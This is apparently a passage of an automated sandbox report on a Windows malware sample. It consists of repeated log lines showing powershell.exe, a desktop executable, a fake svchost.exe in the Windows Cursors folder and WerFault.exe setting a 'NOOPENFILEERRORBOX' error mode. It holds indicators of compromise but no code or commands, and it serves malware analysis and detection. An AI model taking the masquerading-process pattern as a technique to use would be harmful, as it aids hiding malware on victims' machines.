Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
